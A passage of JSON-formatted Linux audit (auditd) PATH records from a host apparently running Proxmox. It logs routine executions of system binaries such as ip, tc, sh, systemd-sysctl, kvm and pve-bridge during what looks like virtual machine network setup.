msg=audit(1781965053.351:63875): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053348,"@rawstring":"node=pve type=PATH msg=audit(1781965053.348:63874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053348,"@rawstring":"node=pve type=PATH msg=audit(1781965053.348:63874): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053337,"@rawstring":"node=pve type=PATH msg=audit(1781965053.337:63873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053337,"@rawstring":"node=pve type=PATH msg=audit(1781965053.337:63873): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053333,"@rawstring":"node=pve type=PATH msg=audit(1781965053.333:63872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053333,"@rawstring":"node=pve type=PATH msg=audit(1781965053.333:63872): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053301,"@rawstring":"node=pve type=PATH msg=audit(1781965053.301:63871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053301,"@rawstring":"node=pve type=PATH msg=audit(1781965053.301:63871): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053291,"@rawstring":"node=pve type=PATH msg=audit(1781965053.291:63870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053291,"@rawstring":"node=pve type=PATH msg=audit(1781965053.291:63870): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053270,"@rawstring":"node=pve type=PATH msg=audit(1781965053.270:63869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053270,"@rawstring":"node=pve type=PATH msg=audit(1781965053.270:63869): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053223,"@rawstring":"node=pve type=PATH msg=audit(1781965053.223:63868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053223,"@rawstring":"node=pve type=PATH msg=audit(1781965053.223:63868): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053198,"@rawstring":"node=pve type=PATH msg=audit(1781965053.198:63866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053198,"@rawstring":"node=pve type=PATH msg=audit(1781965053.198:63866): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053192,"@rawstring":"node=pve type=PATH msg=audit(1781965053.192:63865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053192,"@rawstring":"node=pve type=PATH msg=audit(1781965053.192:63865): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053177,"@rawstring":"node=pve type=PATH msg=audit(1781965053.177:63863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053177,"@rawstring":"node=pve type=PATH msg=audit(1781965053.177:63863): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053171,"@rawstring":"node=pve type=PATH msg=audit(1781965053.171:63862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053171,"@rawstring":"node=pve type=PATH msg=audit(1781965053.171:63862): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053167,"@rawstring":"node=pve type=PATH msg=audit(1781965053.167:63861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053167,"@rawstring":"node=pve type=PATH msg=audit(1781965053.167:63861): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053166,"@rawstring":"node=pve type=PATH msg=audit(1781965053.166:63860): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053166,"@rawstring":"node=pve type=PATH msg=audit(1781965053.166:63860): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053166,"@rawstring":"node=pve type=PATH msg=audit(1781965053.166:63860): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053164,"@rawstring":"node=pve type=PATH msg=audit(1781965053.164:63859): item=0 name=\"\" inode=4389 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053157,"@rawstring":"node=pve type=PATH msg=audit(1781965053.157:63857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053157,"@rawstring":"node=pve type=PATH msg=audit(1781965053.157:63857): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053158,"@rawstring":"node=pve type=PATH msg=audit(1781965053.158:63858): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053158,"@rawstring":"node=pve type=PATH msg=audit(1781965053.158:63858): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PATH msg=audit(1781965053.153:63855): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PATH msg=audit(1781965053.153:63855): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PATH msg=audit(1781965053.153:63855): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053151,"@rawstring":"node=pve type=PATH msg=audit(1781965053.151:63854): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053151,"@rawstring":"node=pve type=PATH msg=audit(1781965053.151:63854): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053151,"@rawstring":"node=pve type=PATH msg=audit(1781965053.151:63854): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PATH msg=audit(1781965053.153:63856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PATH msg=audit(1781965053.153:63856): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053150,"@rawstring":"node=pve type=PATH msg=audit(1781965053.150:63853): item=0 name=\"\" inode=4387 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PATH msg=audit(1781965053.147:63852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PATH msg=audit(1781965053.147:63852): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PATH msg=audit(1781965053.147:63851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PATH msg=audit(1781965053.147:63851): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053145,"@rawstring":"node=pve type=PATH msg=audit(1781965053.145:63850): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053145,"@rawstring":"node=pve type=PATH msg=audit(1781965053.145:63850): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053145,"@rawstring":"node=pve type=PATH msg=audit(1781965053.145:63850): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PATH msg=audit(1781965053.120:63849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PATH msg=audit(1781965053.120:63849): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PATH msg=audit(1781965053.120:63848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PATH msg=audit(1781965053.120:63848): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PATH msg=audit(1781965053.118:63847): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PATH msg=audit(1781965053.118:63847): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PATH msg=audit(1781965053.118:63847): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PATH msg=audit(1781965053.118:63846): item=0 name=\"\" inode=4384 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PATH msg=audit(1781965053.114:63845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PATH msg=audit(1781965053.114:63845): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053116,"@rawstring":"node=pve type=PATH msg=audit(1781965053.116:63844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053116,"@rawstring":"node=pve type=PATH msg=audit(1781965053.116:63844): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PATH msg=audit(1781965053.114:63843): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PATH msg=audit(1781965053.114:63843): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PATH msg=audit(1781965053.114:63843): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053108,"@rawstring":"node=pve type=PATH msg=audit(1781965053.108:63842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053108,"@rawstring":"node=pve type=PATH msg=audit(1781965053.108:63842): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053104,"@rawstring":"node=pve type=PATH msg=audit(1781965053.104:63841): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053098,"@rawstring":"node=pve type=PATH msg=audit(1781965053.098:63840): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053092,"@rawstring":"node=pve type=PATH msg=audit(1781965053.092:63839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053092,"@rawstring":"node=pve type=PATH msg=audit(1781965053.092:63839): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053086,"@rawstring":"node=pve type=PATH msg=audit(1781965053.086:63838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053086,"@rawstring":"node=pve type=PATH msg=audit(1781965053.086:63838): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053079,"@rawstring":"node=pve type=PATH msg=audit(1781965053.079:63836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053079,"@rawstring":"node=pve type=PATH msg=audit(1781965053.079:63836): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052024,"@rawstring":"node=pve type=PATH msg=audit(1781965052.024:63835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052024,"@rawstring":"node=pve type=PATH msg=audit(1781965052.024:63835): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PATH msg=audit(1781965052.021:63834): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PATH msg=audit(1781965052.021:63834): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PATH msg=audit(1781965052.021:63834): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PATH msg=audit(1781965052.021:63833): item=0 name=\"\" inode=4380 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PATH msg=audit(1781965052.018:63832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PATH msg=audit(1781965052.018:63832): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PATH msg=audit(1781965052.018:63831): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PATH msg=audit(1781965052.018:63831): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PATH msg=audit(1781965052.018:63831): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052016,"@rawstring":"node=pve type=PATH msg=audit(1781965052.016:63830): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052016,"@rawstring":"node=pve type=PATH msg=audit(1781965052.016:63830): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052016,"@rawstring":"node=pve type=PATH msg=audit(1781965052.016:63830): item=0 name=\"/usr/libexec/qemu-server/pve-bridge\" inode=310592 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051943,"@rawstring":"node=pve type=PATH msg=audit(1781965051.943:63829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051943,"@rawstring":"node=pve type=PATH msg=audit(1781965051.943:63829): item=0 name=\"/usr/bin/kvm\" inode=305063 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051842,"@rawstring":"node=pve type=PATH msg=audit(1781965051.842:63828): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051842,"@rawstring":"node=pve type=PATH msg=audit(1781965051.842:63828): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051830,"@rawstring":"node=pve type=PATH msg=audit(1781965051.830:63827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 